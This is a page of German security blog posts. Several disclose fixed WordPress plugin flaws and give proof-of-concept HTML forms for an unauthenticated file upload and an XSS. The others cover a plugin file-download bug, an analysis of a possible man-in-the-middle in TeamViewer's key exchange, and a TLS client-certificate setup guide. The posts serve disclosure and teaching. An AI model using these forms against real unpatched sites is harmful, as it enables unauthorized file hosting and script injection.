Bugs in zwei WordPress-Plugins verwandelten Blogs in Download-Portale

Vor ein paar Tagen habe ich eine spannende Lücke in zwei miteinander verwandten WordPress-Plugins gefunden. Dabei handelt es sich um den WP Advanced Importer und den WP Ultimate CSV Importer.

Beide Plugins bringen die Dateien "./templates/uploader.php" und "./templates/UploadHandler.php" mit sich. Bei ersterer handelt es sich um einen ungeschützten Einstieg, während zweitere den eigentlichen, schadhaften Code enthält. Beide lassen sich mit folgendem, beispielhaftem Code ausnutzen:

1
2
3
4
5
6
<form enctype="multipart/form-data" action="http://example.com/wp-content/plugins/wp-advanced-importer/templates/uploader.php" method="POST">
    <input type="hidden" name="uploadPath" value="./uploads/" />
    <input type="hidden" name="MAX_FILE_SIZE" value="30000" />
    Upload: <input name="files" type="file" />
    <input type="submit" />
</form>
1
2
3
4
5
6
<form enctype="multipart/form-data" action="http://example.com/wp-content/plugins/wp-ultimate-csv-importer/templates/uploader.php" method="POST">
    <input type="hidden" name="uploadPath" value="./uploads/" />
    <input type="hidden" name="MAX_FILE_SIZE" value="30000" />
    Upload: <input name="files" type="file" />
    <input type="submit" />
</form>

Hier passiert folgendes: Die "uploader.php" instanziiert die Klasse "UploadHandler". Vom Konstruktor wird die Methode initialize() aufgerufen, die wiederum die Methode post() aufruft. Darin enthalten ist eine Upload-Verarbeitungsroutine, die sich durch einzelne Request-Parameter steuern lässt. Im oben gezeigten Fall landen hochgeladene Dateien im Plugin-Unterordner "./templates/uploads/ultimate_importer/". Als geringen Schutz wird der Dateiname gehasht. Der finale Dateiname lässt sich jedoch wie folgt ermitteln:

1
hash_hmac('md5', $DATEINAME, 'secret');

Praktischerweise gibt das Upload-Script auch noch jede Menge Feedback, sodass man sich gut orientieren kann, welche schlussendlichen Pfade man denn mal probieren könnte:

1
{"files":[{"name":"BEISPIEL.php--1.csv","size":25,"type":"text\/php","url":"http:\/\/example.com\/wp-content\/plugins\/wp-ultimate-csv-importer\/templates\/files\/BEISPIEL.php--1.csv","deleteUrl":"http:\/\/example.com\/wp-content\/plugins\/wp-ultimate-csv-importer\/templates\/?file=BEISPIEL.php--1.csv","deleteType":"DELETE","uploadedname":"B"}]}

Mit dieser Funktion können beliebige Dateien auf Server hochgeladen werden. Sie sind zwar nicht unter dem ursprünglichen Namen verfügbar, für den Austausch von Dateien könnte diese Lücke jedoch problemlos eingesetzt werden. Glücklicherweise wurde der Bug in der Version 1.2.1 des WP Advanced Importer und in der Version 3.6.2 des WP Ultimate CSV Importer behoben. Es ist daher angeraten, schnellst möglich upzudaten.

Importierende Grüße, Kenny

Bug in WP CSV Plugin erlaubte Dateidownload

Vor ein paar Tagen fand ich im WordPress-Plugin WP CSV einen interessanten Fehler. Dort war die Datei "download_view.php" ohne weiteren Schutz aufrufbar.

Eigentlich dient diese Datei dazu, die erstellten CSV-Exports herunterladen zu können. Doch leider wurde nicht sichergestellt, dass die Datei nicht von außen aufgerufen werden kann. Das führte dazu, dass ein Angreifer per GET-Parameter einen beliebigen Dateinamen übergeben konnte. Existierte diese Datei und endete ihr Name auf ".csv", so wurde sie heruntergeladen - auch, wenn sie sich in einem von außen unzugänglichen Ordner befand. Doch noch mehr: In älteren PHP-Versionen ermöglichte die Form der Prüfung potentiell eine Null Byte Injection, sodass nicht ausgeschlossen werden kann, dass beliebige Dateien heruntergeladen werden konnten. Leider habe ich keine PHP-Installation, die alt genug ist, um das nachzuprüfen. :D

Der Bug ist jedenfalls in der neuen Version 1.6.0 gefixt worden. Es ist deshalb angeraten, sobald wie möglich auf die neue Version upzudaten.

Downloadende Grüße, Kenny

Bug in WP RSS Aggregator erlaubte XSS

Am Freitag fand ich einen bemerkenswerten Fehler im WordPress-Plugin WP RSS Aggregator. Dieses Plugin ermöglicht es eigentlich, RSS-Feeds in den eigenen Blog zu integrieren.

Das Plugin ermöglichte es - aus mir unbekannten Gründen - beliebigen Text auszugeben, der im POST-Parameter "wprss-sysinfo" übergeben wurde. Reine Textinhalte wurde dabei direkt als Webseiteninhalt angezeigt, Binärinhalte hingegen wurden als Downloads bereitgestellt. Der zugehörige, beispielhafte Exploit-Code passt in einen 140 Zeichen kurzen Tweet:

1
2
3
4
<form action="http://example.com/" method="post">
  <input name="wprss-sysinfo" value="XSS" />
  <input type="submit" />
</form>

Der Entwickler hat äußerst schnell auf den Hinweis reagiert. Der Fehler ist inzwischen mit der Plugin-Version 4.3.1 behoben worden. Dadurch, dass die angezeigten Inhalte vorher mit wp_strip_all_tags() behandelt wurden, besteht bisher nicht die Vermutung, dass die Lücke für Angriffe ausgenutzt werden konnte. Leute, die eine ältere Version im Einsatz haben, sollten trotzdem dringend updaten.

Aggregierte Grüße, Kenny

TeamViewer: Ein Konzept macht noch keine Sicherheit

Heute hatte ich das Vergnügen, die Bekanntschaft mit dem TeamViewer zu machen - einem Tool, das es ermöglicht, VPN-Verbindungen durch restriktive Firewalls hindurch aufzubauen. Das ganze funktioniert mit einer User-ID und einem Passwort, was gerade dazu einlädt, diese einfache Lösung zu verwenden. Aber wie genau funktioniert das dann? Und wie sicher ist der Verbindungsaufbau und die darüber übertragenen Daten?

Einen ersten Anhaltspunkt gibt die Menge der Konfiguration - annähernd null, ziemlich wenig für eine typische VPN-Verbindung. Die Verwendung einer User-ID lässt den Schluss zu, dass ein zentraler Server beim Verbindungsaufbau involviert ist. Weiteren Aufschluss über die Vorgänge beim Verbindungsaufbau gibt das Dokument, das die "Teamviewer Sicherheitsinformationen" enthält.

Dort wird lang und breit erklärt, wie viele Zertifizierungen man hat, dass man tollen ISO-Standards entspricht, europäische Server verwendet, viel Wert auf den Schutz personenbezogener Daten legt und Technologie einsetzt, die - so ähnlich - bereits anderswo erfolgreich eingesetzt werden. Ein Statement interessiert mich dabei besonders, nämlich:

Wie später im Abschnitt „Verschlüsselung und Authentifizierung“ beschrieben, können auch wir als Betreiber der Routingserver den verschlüsselten Datenverkehr nicht einsehen.

Allerdings stellt sich die Frage, ob das wirklich so ist. Sehen wir uns im ersten Schritt die Registrierung der Schlüssel an. Diese werden von den jeweiligen Clients "A" und "B" generiert und der Public Key jeweils und an den Server "S" übertragen. Die Schlüssel werden mit dem öffentlichen Masterschlüssel des Servers verschlüsselt. Da jedoch Server und Masterschlüssel unter der Kontrolle von TeamViewer sind, stellt das kein Hindernis dar. Eine weitere Validierung findet laut dem Dokument nicht statt.

TeamViewer: Key Ceremony

TeamViewer: Key Ceremony

Kommen wir also zum eigentlichen Verbindungsaufbau zwischen zwei Clients. Die jeweilige Authentisierung der Clients via SRP lasse ich an dieser Stelle außen vor, da diese nur zwischen einem Client und dem Server stattfindet, aber nicht unter den Clients.

Als erstes erfragt Client A vom Server den Public Key von Client B - die Anfrage ist mit dem öffentlichen Masterschlüssel des Servers verschlüsselt. Der Public Key von Client B wird vom Server an Client A geschickt - verschlüsselt mit dem Public Key von Client A und signiert mit dem Masterschlüssel des Servers. Beide Daten sind TeamViewer natürlich bekannt.
Nun erzeugt Client A einen symmetrischen AES-256 Schlüssel, verschlüsselt ihn mit dem vom Server erhaltenen Public Key von Client B und signiert ihn mit seinem eigenen Private Key. Dieses Paket X wird nun an den Server geschickt, damit dieser es an den Client B weiterleitet.
Nach dem Erhalt fragt der Client B den Public Key von Client A beim Server an - die Anfrage ist wiederum mit dem öffentlichen Masterschlüssel des Servers verschlüsselt. Der Server antwortet mit dem Public Key von Client A, den er mit dem öffentlichen Schlüssel von Client B vor der Übertragung verschlüsselt und mit seinem eigenen Masterschlüssel signiert.
Nun prüft Client B die Signatur des Paket X mit dem erhaltenen Public Key von Client A und kann anschließend den symmetrischen AES-256 Schlüssel mit seinem eigenen Private Key entschlüsseln.

TeamViewer: Connection Establishment

TeamViewer: Connection Establishment

Damit haben nun Client A und Client B einen gemeinsamen, symmetrischen AES-256 Schlüssel und können diesen verwenden, um verschlüsselt untereinander zu kommunizieren. Da TeamViewer die privaten Schlüssel der Clients nicht kennt, können sie auch nicht den ausgetauschten symmetrischen Schlüssel in Erfahrung bringen...

...oder?

Hier schlägt nun nämlich ein großes Problem zu: der zentrale Server. Die Clients müssen diesem blind vertrauen. Während des Schlüsselaustauschs ist er jedoch in solcher einer Machtposition, dass überhaupt nicht ersichtlich ist, ob er tatsächlich keinen Zugriff auf den symmetrischen AES-256 Schlüssel hat.

Nehmen wir uns mal folgendes Szenario: Der Client A möchte gern eine Verbindung zu Client B aufbauen und muss dazu den öffentlichen Schlüssel von Client B erfragen. Der zentrale Server könnte nun mit einem öffentlichen Fake-Schlüssel für Client B antworten, zu dem der Server auch den passenden privaten Fake-Schlüssel kennt.
Der Client A würde nun mit diesem öffentlichen Fake-Schlüssel den symmetrischen AES-256 Schlüssel verschlüsseln und mit seinem privaten Schlüssel signieren. Dieses Paket X würde der Client A nun an den Server schicken, damit dieser es an Client B weiterleitet.
Anstatt es jedoch einfach weiterzuleiten, entschlüsselt der Server den symmetrischen AES-256 Schlüssel mit dem passenden privaten Fake-Schlüssel, verschlüsselt den symmetrischen AES-256 Schlüssel mit dem tatsächlichen öffentlichen Schlüssel von Client B und signiert das ganze mit einem privaten Fake-Schlüssel für Client A und schickt dieses neue Paket Y erst dann an Client B weiter.
Nach dem Erhalt fragt der Client B den Public Key von Client A beim Server an - dieser antwortet jedoch stattdessen mit dem öffentlichen Fake-Schlüssel für Client A.
Die Signatur des Paket Y passt mit dem öffentlichen Fake-Schlüssel überein, der symmetrische AES-256 Schlüssel ist mit dem korrekten öffentlichen Schlüssel von Client B verschlüsselt, also muss das erhaltene Paket Y ja valide sein und der enthaltene Schlüssel kann verwendet werden.

TeamViewer: Possible MITM Attack

TeamViewer: Possible MITM Attack

Praktischerweise bestimmt nun auch noch TeamViewer, ob eine direkte TCP-/UDP-Verbindung aufgebaut wird oder ob die Routingserver von TeamViewer verwendet werden. Dank des schwachen Schlüsselaustauschs kann den Routingservern der notwendige symmetrische AES-256 Schlüssel gegeben werden, die nun in der Lage sind, den gesamten Traffic zu entschlüsseln. Die Aussage aus dem Dokument, dass dieses Mitlesen nicht möglich wäre, ist also schlichtweg falsch.

Ob es Absicht ist, dass TeamViewer sämtliche Datenverbindungen mitlesen kann? Ich weiß es nicht genau. Es ist jedoch auffällig, dass sie bei der Authentisierung zwischen Client und Server ein relativ komplexes, Diffie-Hellmann-ähnliches Verfahren einsetzen, während sie beim Austausch des symmetrischen Schlüssels nicht auf ein Verfahren setzen, das aus einem gemeinsamen Geheimnis - zum Beispiel ausgetauscht über einen zweiten Kanal - einen sicheren Sitzungsschlüssel erzeugt.

Die Entscheidung, ob man einer zentralen Instanz Zugriff auf sämtliche übertragenen Daten geben möchte, sollte an dieser Stelle jeder für sich selbst treffen.

MITM-Grüße, Kenny

TLS-Client-Authentication mit Nginx und PHP-FPM

Seit ich es bei StartSSL.com gesehen habe, habe ich mich gefragt, wie ein ordentlicher Login über TLS-Client-Zertifikate funktionieren kann. So schwierig, wie man es sich im ersten Moment vorstellt, ist es eigentlich gar nicht.

Als erstes muss man sich einmal um die PKI-Infrastruktur kümmern. Genauer gesagt muss man eine Certificate Authority anlegen, die die benötigten Client-Zertifikate erstellt. Für kleinere Installationen und Tests kann man das natürlich erst einmal via OpenSSL tun. Für größere Installationen würde ich hingegen zu ordentlichen CA-Lösungen raten (wie z.B. der EJCBA).

Wir fangen also mit dem Erstellen der CA und des selbstsignierten CA-Zertifikats an. An dieser Stelle ist es in Ordnung, dass das CA-Root-Zertifikat selbstsigniert ist, da ihr ja auch später die Client-Zertifikate ausgeben werdet. Im Gegensatz zu TLS-Server-Zertifikaten gibt es hier keinen weit verbreiteten Truststore in den einzelnen Browsern, den ihr berücksichtigen müsst. Sogar im Gegenteil: Schließlich wollt nur ihr in der Lage sein, jemandem Zugriff auf eure Anwendung zu geben.

1
2
3
4
5
6
mkdir -p /var/www/ssl/client/
chmod 700 /var/www/ssl/client/
cd /var/www/ssl/client/

openssl genrsa -des3 -out ./ca.key 4096
openssl req -new -x509 -days 365 -key ./ca.key -out ./ca.crt

Als nächstes wollen wir das erste Client-Zertifikat erstellen. Dieses wird in diesem Fall direkt von der Root-CA signiert. Ihr könnt natürlich noch eine Zwischen-CA erstellen, aber für kleinere Installationen und Tests ist das nicht unbedingt notwendig.

1
2
3
4
5
cd ~/

openssl genrsa -des3 -out ./client.key 1024
openssl req -new -key ./client.key -out ./client.csr
openssl x509 -req -days 365 -in ./client.csr -CA /var/www/ssl/client/ca.crt -CAkey /var/www/ssl/client/ca.key -set_serial 01 -out ./client.crt

Ihr habt nun ein Zertifikat (in der Datei "client.crt") und den zugehörigen privaten Schlüssel (in der Datei "client.key") - diese müsst ihr nun in euren jeweiligen Browser importieren. Das Vorgehen dazu unterscheidet sich von Browser zu Browser und System zu System. In meinem Fall musste ich erst alles in eine *.p12-Datei überführen, damit die Schlüsselbundverwaltung von Mac OS X das Schlüsselpaar importieren konnte. Dazu musste ich noch folgendes aufrufen:

1
2
3
cd ~/

openssl pkcs12 -export -clcerts -inkey ./client.key -in ./client.crt -out ./client.p12 -name "<sprechender Name>"

Nachdem das erledigt ist, müssen wir Nginx beibringen, die Zertifikate zu verarbeiten. Dabei setze ich auf die SSL-Funktionen von Nginx auf. Wie die eingerichtet werden, hatte ich bereits vor einiger Zeit beschrieben. Die Pfade in der Server-Konfiguration sind reine Platzhalter.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
server {
  listen 80;
  listen 443 ssl;

  ssl_certificate     /var/www/ssl/example_com.crt;
  ssl_certificate_key /var/www/ssl/example_com.key;

  ssl_client_certificate /var/www/ssl/client/ca.crt;
  ssl_verify_client      optional;
  #ssl_verify_client      on;

  server_name example.com;

  access_log /home/sftpuser/example_com/logs/access.log;
  error_log  /home/sftpuser/example_com/logs/error.log info;

  root /home/sftpuser/example_com/docs/;

  # switch on HSTS
  add_header Strict-Transport-Security "max-age=604800";
  add_header X-Frame-Options           "SAMEORIGIN";

  # enable php
  location ~ ^(.*)\.php$ {
    if (!-f $request_filename) {
      return 404;
    }

    include      /srv/conf/nginx/fastcgi_params;
    fastcgi_pass unix:/var/www/sockets/example_com.socket;

    fastcgi_param TLS_SUCCESS $ssl_client_verify;
    fastcgi_param TLS_DN      $ssl_client_s_dn;
    fastcgi_param TLS_CERT    $ssl_client_cert;
  }

  #deactivate later on
  #autoindex on;
}

Im ersten Schritt benötigt der Server ein TLS-Server-Zertifikat, welches von einem vertrauenswürdigen Zertifikatsersteller stammen sollte. Anschließend muss Nginx die CA bekannt gemacht werden, die die Client-Zertifikate ausstellt - dabei handelt es sich um die gerade erst erstellte, eigene CA. Zudem muss über "ssl_verify_client" die TLS-Client-Authentication aktiviert werden. Hier gibt es die Möglichkeit, sie per "on" verpflichtend für alle Nutzer zu aktivieren oder aber per "optional" die Client-Authentication optional machen. Ist sie verpflichtend, dann werden alle fehlerhaften Anfragen abgewiesen.

Damit nun das Backend PHP-FPM weiß, dass sich ein Client per TLS-Client-Authentisierung eingeloggt hat und vor allem, welcher Nutzer das war, müssen wir noch ein paar CGI-Parameter bereitstellen. Diese stehen den eigentlichen PHP-Scripten dann über die Variable "$_SERVER[]" zur Verfügung. (Wie Nginx zusammen mit PHP-FPM aufgesetzt werden können, kann in einem früheren Blogartikel nachgelesen werden.)

Nach dieser Fingerübung muss Nginx neu gestartet werden.

1
/etc/init.d/nginx restart

Nun kann bereits das erste Mal getestet werden, ob die Grundkonfiguration stimmt. Man sollte entsprechend (je nach Browser und System) soweit kommen, dass die Authentisierung funktioniert.

Safari will auf das Schlüsselpaar zugreifen

Safari will auf das Schlüsselpaar zugreifen

Wenn das funktioniert, könnt ihr euch eine Testseite bauen. In "/home/sftpuser/example_com/docs/index.php" könnte z.B. folgendes stehen, womit einfach nur die CGI-Parameter ausgegeben werden:

1
2
3
4
5
<?php
  print("TLS_SUCCESS: " . $_SERVER["TLS_SUCCESS"] . "<br/>\n");
  print("TLS_DN: " . $_SERVER["TLS_DN"] . "<br/>\n");
  print("TLS_CERT: " . $_SERVER["TLS_CERT"] . "<br/>\n");
?>

Sollte auch das funktionieren, seid ihr bereits fertig mit dem Einrichten und Testen der TLS-Client-Authentisierung in Nginx und PHP-FPM.

PHP-Seite zeigt Daten der TLS-Client-Authentisierung

PHP-Seite zeigt Daten der TLS-Client-Authentisierung

Mit diesem Setup kann man nun einige tolle Dinge anstellen: Zum Beispiel kann man nun sämtliche Nutzerpasswörter bei kritischen Applikationen durch TLS-Zertifikate ersetzen oder aber eine Zwei-Faktor-Authentisierung mit Hilfe dieser Zertifikate realisieren. Genauso kann man auf diese Art und Weise einen Single-Sign-On realisieren. Die Nutzer der einzelnen Anwendungen würden jeweils über "TLS_DN" identifiziert werden und bräuchten praktischerweise nur ein Zertifikat für alle Anwendungen. Wichtig dafür wäre nur, dass alle Anwendungen der gleichen Root-CA vertrauen - der Rest erledigt sich dann von selbst.

Authentisierte Grüße, /CN=Kenny

Seite 3 von 81« Erste...234...Letzte »